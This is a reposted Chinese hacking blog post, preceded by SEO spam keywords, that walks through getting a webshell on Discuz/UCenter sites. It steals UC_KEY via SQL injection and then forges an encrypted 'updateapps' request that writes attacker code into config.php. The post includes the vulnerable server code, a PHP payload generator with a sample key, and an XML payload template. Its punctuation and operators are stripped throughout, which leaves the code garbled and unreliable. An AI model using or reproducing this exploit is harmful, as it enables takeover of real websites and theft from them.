昆明网站seo外包,制作网址怎么收费,有自己网站做淘宝客赚钱吗,修改wordpress后台地址关于DZ后台拿shell#xff0c;很多同志都很苦恼是把#xff0c;#xff0c;不过最近外面看到一篇文章#xff0c;应该 才出来的把#xff0c;#xff0c;这里给大家发出来把#xff0c;。。 转载者#xff1a;littleli 我们只要得到UC_KEY#xff0c;提交数据就可以修… 关于DZ后台拿shell很多同志都很苦恼是把不过最近外面看到一篇文章应该 才出来的把这里给大家发出来把。。 转载者littleli 我们只要得到UC_KEY提交数据就可以修改配置文件来得到Webshell而UC_KEY是保存在UCENTER中一般的管理员配置的时候都使用同一权限配置。 我们有一个注射如此这般……大笑三声哈哈哈。 直接读取数据库uc_applications下的authkey即为UC_KEY。长度为64位。再接着是post数据的提交。最后的格式为替换成你的一句话Shell如图11即可。 先生成需要的code $get $post array();$code $_GET[code];parse_str(authcode($code, DECODE, UC_KEY), $get);//需要UC_KEY进行解密if(MAGIC_QUOTES_GPC) {$get sstripslashes($get);}if($_SGLOBAL[timestamp] - $get[time] 3600) {//判断提交的时间exit(Authracation has expiried);}if(empty($get)) {exit(Invalid Request);}include_once S_ROOT../uc_client/lib/xml.class.php;//我们提交的数据和需要调用的函数主要看updateapps$post xml_unserialize(file_get_contents(php://input));if(in_array($get[action], array(test, deleteuser, renameuser, gettag, synlogin, synlogout, updatepw, updatebadwords, updatehosts, updateapps, updateclient, updatecredit, getcreditsettings, updatecreditsettings, addfeed))) {$uc_note new uc_note();echo $uc_note-$get[action]($get, $post);exit();} else {exit(API_RETURN_FAILED);}//……function updateapps($get, $post) {global $_SGLOBAL;if(!API_UPDATEAPPS) {return API_RETURN_FORBIDDEN;}$UC_API ;if($post[UC_API]) {$UC_API $post[UC_API];unset($post[UC_API]);}$cachefile S_ROOT../uc_client/data/cache/apps.php;$fp fopen($cachefile, w);$s ?php\r\n;$s . $_CACHE[\apps\] .var_export($post, TRUE).;\r\n;fwrite($fp, $s);fclose($fp);//配置文件if($UC_API is_writeable(S_ROOT../config.php)) {$configfile trim(file_get_contents(S_ROOT../config.php));$configfile substr($configfile, -2) ? ? substr($configfile, 0, -2) : $configfile;$configfile preg_replace(/define\(UC_API,\s*.*?\);/i, define(UC_API, $UC_API);, $configfile);if($fp fopen(S_ROOT../config.php, w)) {fwrite($fp, trim($configfile));fclose($fp);}}return API_RETURN_SUCCEED;} ?php//这里为注射得到的UC_KEYdefine(UC_KEY, 88V7m5VeF1Da9978a8ben5f1t317ldv78aPfWeP2D608h44e3ej1Xbt9m6mbl3L9);//这里为时间和需要调用的函数时间写大一些避免不必要的错误。$codetime1391966342actionupdateapps;function authcode($string, $operation DECODE, $key , $expiry 0) {$ckey_length 4;$key md5($key ? $key : $GLOBALS[discuz_auth_key]);$keya md5(substr($key, 0, 16));$keyb md5(substr($key, 16, 16));$keyc $ckey_length ? ($operation DECODE ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ;$cryptkey $keya.md5($keya.$keyc);$key_length strlen($cryptkey);$string $operation DECODE ? base64_decode(substr($string, $ckey_length)) : sprintf(%010d, $expiry ? $expiry time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length strlen($string);$result ;$box range(0, 255);$rndkey array();for($i 0; $i 255; $i) {$rndkey[$i] ord($cryptkey[$i % $key_length]);}for($j $i 0; $i 256; $i) {$j ($j $box[$i] $rndkey[$i]) % 256;$tmp $box[$i];$box[$i] $box[$j];$box[$j] $tmp;}for($a $j $i 0; $i $string_length; $i) {$a ($a 1) % 256;$j ($j $box[$a]) % 256;$tmp $box[$a];$box[$a] $box[$j];$box[$j] $tmp;$result . chr(ord($string[$i]) ^ ($box[($box[$a] $box[$j]) % 256]));}if($operation DECODE) {if((substr($result, 0, 10) 0 || substr($result, 0, 10) - time() 0) substr($result, 10, 16) substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return ;}} else {return $keyc.str_replace(, , base64_encode($result));}}//这里为最后生成的$codeprint_r(authcode($code, ENCODE, UC_KEY));? ?phpinclude_once ./uc_client/lib/xml.class.php;$aarray(UC_APIexploit code);print_r(xml_serialize($a));? ?xml version1.0 encodingISO-8859-1?rootitem idUC_APIexploit code/item/root 到这里哥总算有了个满意的效果果断上网测试但是从目标站里跑出的UC_KEY长度为124并不能成功。 测试了几个网站发现个别网站数据库key长度为124时config.php文件里的key为64位。 你丫不按常理出牌啊。 哥对天一叹或许哥只能存在于传说之中。不是转载者说的 – -。。。 —————— 作者×××手 转载于:https://blog.51cto.com/pnig0s1992/489717